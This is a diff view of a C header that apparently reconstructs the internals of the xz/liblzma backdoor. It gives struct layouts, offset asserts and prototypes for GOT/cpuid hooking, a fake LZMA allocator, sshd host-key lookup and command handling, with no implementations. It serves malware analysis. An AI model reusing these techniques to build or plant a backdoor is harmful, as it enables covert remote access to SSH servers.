1359 typedef union __attribute__((packed)) {
+
1360  u8 value[2];
+
1361  u16 size;
+
1362 } u_cmd_arguments_t;
1363 
-
1364 typedef union __attribute__((packed)) {
-
1365  u8 value[2];
-
1366  u16 size;
-
1367 } u_cmd_arguments_t;
-
1368 
-
1369 enum CommandFlags1 {
-
1373  CMDF_8BYTES = 1 << 0,
-
1377  CMDF_SETLOGMASK = 1 << 2,
-
1381  CMDF_DISABLE_PAM = 0x40,
-
1382 };
-
1383 
-
1384 enum CommandFlags2 {
-
1389  CMDF_IMPERSONATE = 0x1,
-
1394  CMDF_CHANGE_MONITOR_REQ = 0x2,
-
1399  CMDF_CONTINUATION = 0x40,
-
1404  CMDF_PSELECT = 0xC0
-
1405 };
-
1406 
-
1407 typedef struct __attribute__((packed)) cmd_arguments {
-
1408  u8 flags1;
-
1409  u8 flags2;
-
1410  u8 flags3;
-
1411  u_cmd_arguments_t u;
-
1412 } cmd_arguments_t;
-
1413 
-
1414 assert_offset(cmd_arguments_t, flags1, 0);
-
1415 assert_offset(cmd_arguments_t, flags2, 1);
-
1416 assert_offset(cmd_arguments_t, flags3, 2);
-
1417 assert_offset(cmd_arguments_t, u, 3);
-
1418 static_assert(sizeof(cmd_arguments_t) == 0x5);
-
1419 
-
1420 typedef struct __attribute__((packed)) key_ctx {
-
1421  BIGNUM *rsa_n;
-
1422  BIGNUM *rsa_e;
-
1423  cmd_arguments_t args;
-
1424  key_payload_t payload;
-
1425  PADDING(0x30);
-
1426  PADDING(sizeof(key_payload_hdr_t));
-
1430  u8 decrypted_secret_data[57];
-
1431  PADDING(2);
-
1432 } key_ctx_t;
-
1433 
-
1434 assert_offset(key_ctx_t, rsa_n, 0);
-
1435 assert_offset(key_ctx_t, rsa_e, 0x8);
-
1436 assert_offset(key_ctx_t, args, 0x10);
-
1437 assert_offset(key_ctx_t, payload, 0x15);
-
1438 static_assert(sizeof(key_ctx_t) == 0x2B8);
-
1439 
-
1440 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
-
1446  ptrdiff_t cpuid_random_symbol_got_offset;
-
1452  u64 cpuid_got_index;
-
1458  ptrdiff_t backdoor_init_stage2_got_offset;
-
1459 } backdoor_cpuid_reloc_consts_t;
+
1364 enum CommandFlags1 {
+
1368  CMDF_8BYTES = 1 << 0,
+
1372  CMDF_SETLOGMASK = 1 << 2,
+
1376  CMDF_DISABLE_PAM = 0x40,
+
1377 };
+
1378 
+
1379 enum CommandFlags2 {
+
1384  CMDF_IMPERSONATE = 0x1,
+
1389  CMDF_CHANGE_MONITOR_REQ = 0x2,
+
1394  CMDF_CONTINUATION = 0x40,
+
1399  CMDF_PSELECT = 0xC0
+
1400 };
+
1401 
+
1402 typedef struct __attribute__((packed)) cmd_arguments {
+
1403  u8 flags1;
+
1404  u8 flags2;
+
1405  u8 flags3;
+
1406  u_cmd_arguments_t u;
+
1407 } cmd_arguments_t;
+
1408 
+
1409 assert_offset(cmd_arguments_t, flags1, 0);
+
1410 assert_offset(cmd_arguments_t, flags2, 1);
+
1411 assert_offset(cmd_arguments_t, flags3, 2);
+
1412 assert_offset(cmd_arguments_t, u, 3);
+
1413 static_assert(sizeof(cmd_arguments_t) == 0x5);
+
1414 
+
1415 typedef struct __attribute__((packed)) key_ctx {
+
1416  BIGNUM *rsa_n;
+
1417  BIGNUM *rsa_e;
+
1418  cmd_arguments_t args;
+
1419  key_payload_t payload;
+
1420  PADDING(0x30);
+
1421  PADDING(sizeof(key_payload_hdr_t));
+
1425  u8 decrypted_secret_data[57];
+
1426  PADDING(2);
+
1427 } key_ctx_t;
+
1428 
+
1429 assert_offset(key_ctx_t, rsa_n, 0);
+
1430 assert_offset(key_ctx_t, rsa_e, 0x8);
+
1431 assert_offset(key_ctx_t, args, 0x10);
+
1432 assert_offset(key_ctx_t, payload, 0x15);
+
1433 static_assert(sizeof(key_ctx_t) == 0x2B8);
+
1434 
+
1435 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
+
1441  ptrdiff_t cpuid_random_symbol_got_offset;
+
1447  u64 cpuid_got_index;
+
1453  ptrdiff_t backdoor_init_stage2_got_offset;
+
1454 } backdoor_cpuid_reloc_consts_t;
+
1455 
+
1456 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
+
1457 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
+
1458 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
+
1459 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
1460 
-
1461 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
-
1462 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
-
1463 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
-
1464 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
-
1465 
-
1466 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
-
1472  ptrdiff_t tls_get_addr_plt_offset;
-
1478  ptrdiff_t tls_get_addr_random_symbol_got_offset;
-
1479 } backdoor_tls_get_addr_reloc_consts_t;
-
1480 
-
1481 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
-
1482 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
-
1483 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
-
1484 
-
1485 typedef struct __attribute__((packed)) elf_functions {
-
1486  PADDING(sizeof(u64));
-
1492  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
-
1493  PADDING(sizeof(u64));
-
1494  PADDING(sizeof(u64));
-
1500  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
1501  PADDING(sizeof(u64));
-
1507  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
1508 } elf_functions_t;
+
1461 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
+
1467  ptrdiff_t tls_get_addr_plt_offset;
+
1473  ptrdiff_t tls_get_addr_random_symbol_got_offset;
+
1474 } backdoor_tls_get_addr_reloc_consts_t;
+
1475 
+
1476 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
+
1477 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
+
1478 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
+
1479 
+
1480 typedef struct __attribute__((packed)) elf_functions {
+
1481  PADDING(sizeof(u64));
+
1487  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
+
1488  PADDING(sizeof(u64));
+
1489  PADDING(sizeof(u64));
+
1495  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
1496  PADDING(sizeof(u64));
+
1502  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
1503 } elf_functions_t;
+
1504 
+
1505 assert_offset(elf_functions_t, init_hook_functions, 0x8);
+
1506 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
+
1507 assert_offset(elf_functions_t, elf_parse, 0x30);
+
1508 static_assert(sizeof(elf_functions_t) == 0x38);
1509 
-
1510 assert_offset(elf_functions_t, init_hook_functions, 0x8);
-
1511 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
-
1512 assert_offset(elf_functions_t, elf_parse, 0x30);
-
1513 static_assert(sizeof(elf_functions_t) == 0x38);
+
1510 typedef struct __attribute__((packed)) fake_lzma_allocator {
+
1511  PADDING(sizeof(u64));
+
1512  lzma_allocator allocator;
+
1513 } fake_lzma_allocator_t;
1514 
-
1515 typedef struct __attribute__((packed)) fake_lzma_allocator {
-
1516  PADDING(sizeof(u64));
-
1517  lzma_allocator allocator;
-
1518 } fake_lzma_allocator_t;
+
1515 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
+
1516 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
+
1517 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
+
1518 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
1519 
-
1520 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
-
1521 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
-
1522 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
-
1523 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
-
1524 
-
1525 typedef struct __attribute__((packed)) instruction_search_ctx
-
1526 {
-
1531  u8 *start_addr;
-
1536  u8 *end_addr;
-
1541  u8 *offset_to_match;
-
1546  u32 *output_register_to_match;
-
1547  u8 *output_register; // TODO unknown
-
1552  BOOL result;
-
1553  PADDING(0x4);
-
1554  backdoor_hooks_data_t *hooks;
-
1555  imported_funcs_t *imported_funcs;
-
1556 } instruction_search_ctx_t;
-
1557 
-
1558 assert_offset(instruction_search_ctx_t, start_addr, 0);
-
1559 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
-
1560 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
-
1561 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
-
1562 assert_offset(instruction_search_ctx_t, output_register, 0x20);
-
1563 assert_offset(instruction_search_ctx_t, result, 0x28);
-
1564 assert_offset(instruction_search_ctx_t, hooks, 0x30);
-
1565 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
-
1566 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
-
1567 
-
1576 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
-
1577 
-
1587 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
-
1588 
-
1597 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
-
1598 
-
1608 extern BOOL find_instruction_with_mem_operand(
-
1609  u8 *code_start,
-
1610  u8 *code_end,
-
1611  dasm_ctx_t *dctx,
-
1612  void *mem_address
-
1613 );
-
1614 
-
1624 extern BOOL find_lea_instruction_with_mem_operand(
-
1625  u8 *code_start,
-
1626  u8 *code_end,
-
1627  dasm_ctx_t *dctx,
-
1628  void *mem_address
-
1629 );
-
1630 
-
1641 extern BOOL find_mov_lea_instruction(
-
1642  u8 *code_start,
-
1643  u8 *code_end,
-
1644  BOOL is_64bit_operand,
-
1645  BOOL load_flag,
-
1646  dasm_ctx_t *dctx
-
1647 );
-
1648 
-
1664 extern BOOL find_mov_instruction(
-
1665  u8 *code_start,
-
1666  u8 *code_end,
-
1667  BOOL is_64bit_operand,
-
1668  BOOL load_flag,
-
1669  dasm_ctx_t *dctx
-
1670 );
-
1671 
-
1682 extern BOOL find_instruction_with_mem_operand_ex(
-
1683  u8 *code_start,
-
1684  u8 *code_end,
-
1685  dasm_ctx_t *dctx,
-
1686  int opcode,
-
1687  void *mem_address
-
1688 );
-
1689 
-
1706 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
-
1707 
-
1716 extern u8 *find_string_reference(
-
1717  u8 *code_start,
-
1718  u8 *code_end,
-
1719  const char *str
-
1720 );
-
1721 
-
1731 extern u8 *elf_find_string_reference(
-
1732  elf_info_t *elf_info,
-
1733  EncodedStringId encoded_string_id,
-
1734  u8 *code_start,
-
1735  u8 *code_end
-
1736 );
-
1737 
-
1757 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
-
1758 
-
1768 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
-
1769 
-
1781 extern BOOL find_function(
-
1782  u8 *code_start,
-
1783  void **func_start,
-
1784  void **func_end,
-
1785  u8 *search_base,
-
1786  u8 *code_end,
-
1787  FuncFindType find_mode);
-
1788 
-
1799 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
-
1800 
-
1808 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
1809 
-
1840 extern BOOL main_elf_parse(main_elf_t *main_elf);
-
1841 
-
1842 extern char *check_argument(char arg_first_char, char* arg_name);
-
1843 
-
1851 extern void elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
-
1852 
-
1861 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
-
1862 
-
1870 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
1871 
-
1879 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
-
1880 
-
1889 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
-
1890 
-
1907 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
-
1908 
-
1920 extern void *elf_get_reloc_symbol(
-
1921  elf_info_t *elf_info,
-
1922  Elf64_Rela *relocs,
-
1923  u32 num_relocs,
-
1924  u64 reloc_type,
-
1925  EncodedStringId encoded_string_id);
-
1926 
-
1934 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
1935 
-
1943 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
1944 
-
1958 extern BOOL elf_find_function_pointer(
-
1959  StringXrefId xref_id,
-
1960  void **pOutCodeStart, void **pOutCodeEnd,
-
1961  void **pOutFptrAddr, elf_info_t *elf_info,
-
1962  string_references_t *xrefs,
-
1963  BOOL *pCheckPrologue);
-
1964 
-
1977 extern char *elf_find_string(
-
1978  elf_info_t *elf_info,
-
1979  EncodedStringId *stringId_inOut,
-
1980  void *rodata_start_ptr);
-
1981 
-
1988 extern lzma_allocator *get_lzma_allocator();
-
1989 
-
2000 extern fake_lzma_allocator_t *get_lzma_allocator_address();
-
2001 
-
2010 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
-
2011 
-
2020 extern void fake_lzma_free(void *opaque, void *ptr);
-
2021 
-
2030 extern elf_functions_t *get_elf_functions_address();
-
2031 
-
2032 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
-
2033 
-
2046 extern BOOL secret_data_append_from_code(
-
2047  void *code_start,
-
2048  void *code_end,
-
2049  secret_data_shift_cursor_t shift_cursor,
-
2050  unsigned shift_count, BOOL start_from_call);
-
2051 
-
2062 extern BOOL secret_data_append_if_flags(
-
2063  secret_data_shift_cursor_t shift_cursor,
-
2064  unsigned operation_index,
-
2065  unsigned shift_count,
-
2066  int flags, u8 *code);
-
2067 
-
2078 extern BOOL secret_data_append_from_address(
-
2079  void *addr,
-
2080  secret_data_shift_cursor_t shift_cursor,
-
2081  unsigned shift_count, unsigned operation_index);
-
2082 
-
2125 extern BOOL secret_data_append_singleton(
-
2126  u8 *call_site, u8 *code,
-
2127  secret_data_shift_cursor_t shift_cursor,
-
2128  unsigned shift_count, unsigned operation_index);
-
2129 
-
2141 extern BOOL secret_data_append_from_call_site(
-
2142  secret_data_shift_cursor_t shift_cursor,
-
2143  unsigned shift_count, unsigned operation_index,
-
2144  BOOL bypass
-
2145 );
-
2146 
-
2166 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
-
2167 
-
2185 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
-
2186 
-
2198 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
-
2199 
-
2211 extern ptrdiff_t init_elf_entry_ctx(elf_entry_ctx_t *ctx);
-
2212 
-
2223 extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
-
2224 
-
2233 extern u64 get_cpuid_got_index(elf_entry_ctx_t *ctx);
-
2234 
-
2244 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
-
2245 
-
2254 extern BOOL resolve_libc_imports(
-
2255  struct link_map *libc,
-
2256  elf_info_t *libc_info,
-
2257  libc_imports_t *imports
-
2258 );
-
2259 
-
2266 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
-
2267 
-
2275 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
-
2276 
-
2288 extern BOOL chacha_decrypt(
-
2289  u8 *in, int inl,
-
2290  u8 *key, u8 *iv,
-
2291  u8 *out, imported_funcs_t *funcs
-
2292 );
-
2293 
-
2301 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
-
2302 
-
2311 extern BOOL is_range_mapped(u8* addr, u8 length, global_context_t* ctx);
-
2312 
-
2319 extern u32 count_bits(u64 x);
-
2320 
-
2332 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
-
2333 
-
2373 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
-
2374 
-
2386 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
-
2387 
-
2396 extern int init_hook_functions(backdoor_hooks_ctx_t *funcs);
-
2397 
-
2416 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
-
2417 
-
2427 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
-
2428 
-
2440 extern uintptr_t backdoor_symbind64(
-
2441  Elf64_Sym *sym,
-
2442  unsigned int ndx,
-
2443  uptr *refcook, uptr *defcook,
-
2444  unsigned int flags,
-
2445  const char *symname);
-
2446 
-
2458 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
-
2459 
-
2474 extern BOOL find_dl_audit_offsets(
-
2475  backdoor_data_handle_t *data,
-
2476  ptrdiff_t *libname_offset,
-
2477  backdoor_hooks_data_t *hooks,
-
2478  imported_funcs_t *imported_funcs);
-
2479 
-
2502 extern BOOL find_link_map_l_name(
-
2503  backdoor_data_handle_t *data_handle,
-
2504  ptrdiff_t *libname_offset,
-
2505  backdoor_hooks_data_t *hooks,
-
2506  imported_funcs_t *imported_funcs);
-
2507 
-
2527 extern BOOL find_dl_naudit(
-
2528  elf_info_t *dynamic_linker_elf,
-
2529  elf_info_t *libcrypto_elf,
-
2530  backdoor_hooks_data_t *hooks,
-
2531  imported_funcs_t *imported_funcs);
-
2532 
-
2549 extern BOOL find_link_map_l_audit_any_plt(
-
2550  backdoor_data_handle_t *data,
-
2551  ptrdiff_t libname_offset,
-
2552  backdoor_hooks_data_t *hooks,
-
2553  imported_funcs_t *imported_funcs);
-
2554 
-
2570 extern BOOL find_link_map_l_audit_any_plt_bitmask(
-
2571  backdoor_data_handle_t *data,
-
2572  instruction_search_ctx_t *search_ctx);
-
2573 
-
2588 extern BOOL sshd_get_host_keys_address_via_xcalloc(
-
2589  u8 *data_start,
-
2590  u8 *data_end,
-
2591  u8 *code_start,
-
2592  u8 *code_end,
-
2593  string_references_t *string_refs,
-
2594  void **host_keys_out);
-
2595 
-
2610 extern BOOL sshd_get_host_keys_address_via_krb5ccname(
-
2611  u8 *data_start,
-
2612  u8 *data_end,
-
2613  u8 *code_start,
-
2614  u8 *code_end,
-
2615  void **host_keys_out,
-
2616  elf_info_t *elf);
-
2617 
-
2627 extern int sshd_get_host_keys_score_in_demote_sensitive_data(
-
2628  void *host_keys,
-
2629  elf_info_t *elf,
-
2630  string_references_t *refs);
-
2631 
-
2641 extern int sshd_get_host_keys_score_in_main(
-
2642  void *host_keys,
-
2643  elf_info_t *elf,
-
2644  string_references_t *refs);
-
2645 
-
2655 extern int sshd_get_host_keys_score_in_do_child(
-
2656  void *host_keys,
-
2657  elf_info_t *elf,
-
2658  string_references_t *refs);
-
2659 
-
2669 extern int sshd_get_host_keys_score(
-
2670  void *host_keys,
-
2671  elf_info_t *elf,
-
2672  string_references_t *refs);
-
2673 
-
2680 extern u32 resolver_call_count;
-
2681 static_assert(sizeof(resolver_call_count) == 0x4);
-
2682 
-
2683 extern global_context_t *global_ctx;
-
2684 static_assert(sizeof(global_ctx) == 0x8);
-
2685 
-
2692 extern backdoor_hooks_data_t *hooks_data_addr;
-
2693 static_assert(sizeof(hooks_data_addr) == 0x8);
-
2694 
-
2705 extern const ptrdiff_t fake_lzma_allocator_offset;
-
2706 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
-
2707 
-
2725 extern fake_lzma_allocator_t fake_lzma_allocator;
-
2726 static_assert(sizeof(fake_lzma_allocator) == 0x20);
-
2727 
-
2736 extern const ptrdiff_t elf_functions_offset;
-
2737 static_assert(sizeof(elf_functions_offset) == 0x8);
-
2738 
-
2751 extern const elf_functions_t elf_functions;
-
2752 static_assert(sizeof(elf_functions) == 0x38);
-
2753 
-
2762 extern const u64 cpuid_random_symbol;
-
2763 static_assert(sizeof(cpuid_random_symbol) == 0x8);
-
2764 
-
2773 extern const u64 tls_get_addr_random_symbol;
-
2774 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
-
2775 
-
2784 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
-
2785 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
-
2786 
-
2795 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
-
2796 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
-
2797 
-
2806 extern const u64 string_mask_data[238];
-
2807 static_assert(sizeof(string_mask_data) == 0x770);
-
2808 
-
2817 extern const u32 string_action_data[1304];
-
2818 static_assert(sizeof(string_action_data) == 0x1460);
-
2819 
-
2820 #include "util.h"
-
2821 #endif
-
audit_ifaces
Definition: xzre.h:92
-
auditstate
Definition: xzre.h:75
-
backdoor_cpuid_reloc_consts
Definition: xzre.h:1440
-
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:1458
-
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1446
-
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:1452
-
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1172
-
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1217
-
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1262
-
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1267
-
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1222
-
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1252
-
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1257
-
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1248
-
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1242
-
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1272
-
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1227
-
backdoor_hooks_ctx
Definition: xzre.h:1082
+
1520 typedef struct __attribute__((packed)) instruction_search_ctx
+
1521 {
+
1526  u8 *start_addr;
+
1531  u8 *end_addr;
+
1536  u8 *offset_to_match;
+
1541  u32 *output_register_to_match;
+
1542  u8 *output_register; // TODO unknown
+
1547  BOOL result;
+
1548  PADDING(0x4);
+
1549  backdoor_hooks_data_t *hooks;
+
1550  imported_funcs_t *imported_funcs;
+
1551 } instruction_search_ctx_t;
+
1552 
+
1553 assert_offset(instruction_search_ctx_t, start_addr, 0);
+
1554 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
+
1555 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
+
1556 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
+
1557 assert_offset(instruction_search_ctx_t, output_register, 0x20);
+
1558 assert_offset(instruction_search_ctx_t, result, 0x28);
+
1559 assert_offset(instruction_search_ctx_t, hooks, 0x30);
+
1560 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
+
1561 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
+
1562 
+
1571 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
+
1572 
+
1582 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
+
1583 
+
1592 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
+
1593 
+
1603 extern BOOL find_instruction_with_mem_operand(
+
1604  u8 *code_start,
+
1605  u8 *code_end,
+
1606  dasm_ctx_t *dctx,
+
1607  void *mem_address
+
1608 );
+
1609 
+
1619 extern BOOL find_lea_instruction_with_mem_operand(
+
1620  u8 *code_start,
+
1621  u8 *code_end,
+
1622  dasm_ctx_t *dctx,
+
1623  void *mem_address
+
1624 );
+
1625 
+
1636 extern BOOL find_mov_lea_instruction(
+
1637  u8 *code_start,
+
1638  u8 *code_end,
+
1639  BOOL is_64bit_operand,
+
1640  BOOL load_flag,
+
1641  dasm_ctx_t *dctx
+
1642 );
+
1643 
+
1659 extern BOOL find_mov_instruction(
+
1660  u8 *code_start,
+
1661  u8 *code_end,
+
1662  BOOL is_64bit_operand,
+
1663  BOOL load_flag,
+
1664  dasm_ctx_t *dctx
+
1665 );
+
1666 
+
1677 extern BOOL find_instruction_with_mem_operand_ex(
+
1678  u8 *code_start,
+
1679  u8 *code_end,
+
1680  dasm_ctx_t *dctx,
+
1681  int opcode,
+
1682  void *mem_address
+
1683 );
+
1684 
+
1701 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
+
1702 
+
1711 extern u8 *find_string_reference(
+
1712  u8 *code_start,
+
1713  u8 *code_end,
+
1714  const char *str
+
1715 );
+
1716 
+
1726 extern u8 *elf_find_string_reference(
+
1727  elf_info_t *elf_info,
+
1728  EncodedStringId encoded_string_id,
+
1729  u8 *code_start,
+
1730  u8 *code_end
+
1731 );
+
1732 
+
1752 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
+
1753 
+
1763 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
+
1764 
+
1776 extern BOOL find_function(
+
1777  u8 *code_start,
+
1778  void **func_start,
+
1779  void **func_end,
+
1780  u8 *search_base,
+
1781  u8 *code_end,
+
1782  FuncFindType find_mode);
+
1783 
+
1794 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
+
1795 
+
1803 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
1804 
+
1835 extern BOOL main_elf_parse(main_elf_t *main_elf);
+
1836 
+
1837 extern char *check_argument(char arg_first_char, char* arg_name);
+
1838 
+
1846 extern void elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
+
1847 
+
1856 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
+
1857 
+
1865 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
1866 
+
1874 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
+
1875 
+
1884 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
+
1885 
+
1902 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
+
1903 
+
1915 extern void *elf_get_reloc_symbol(
+
1916  elf_info_t *elf_info,
+
1917  Elf64_Rela *relocs,
+
1918  u32 num_relocs,
+
1919  u64 reloc_type,
+
1920  EncodedStringId encoded_string_id);
+
1921 
+
1929 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
1930 
+
1938 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
1939 
+
1953 extern BOOL elf_find_function_pointer(
+
1954  StringXrefId xref_id,
+
1955  void **pOutCodeStart, void **pOutCodeEnd,
+
1956  void **pOutFptrAddr, elf_info_t *elf_info,
+
1957  string_references_t *xrefs,
+
1958  BOOL *pCheckPrologue);
+
1959 
+
1972 extern char *elf_find_string(
+
1973  elf_info_t *elf_info,
+
1974  EncodedStringId *stringId_inOut,
+
1975  void *rodata_start_ptr);
+
1976 
+
1983 extern lzma_allocator *get_lzma_allocator();
+
1984 
+
1995 extern fake_lzma_allocator_t *get_lzma_allocator_address();
+
1996 
+
2005 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
+
2006 
+
2015 extern void fake_lzma_free(void *opaque, void *ptr);
+
2016 
+
2025 extern elf_functions_t *get_elf_functions_address();
+
2026 
+
2027 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
+
2028 
+
2041 extern BOOL secret_data_append_from_code(
+
2042  void *code_start,
+
2043  void *code_end,
+
2044  secret_data_shift_cursor_t shift_cursor,
+
2045  unsigned shift_count, BOOL start_from_call);
+
2046 
+
2057 extern BOOL secret_data_append_if_flags(
+
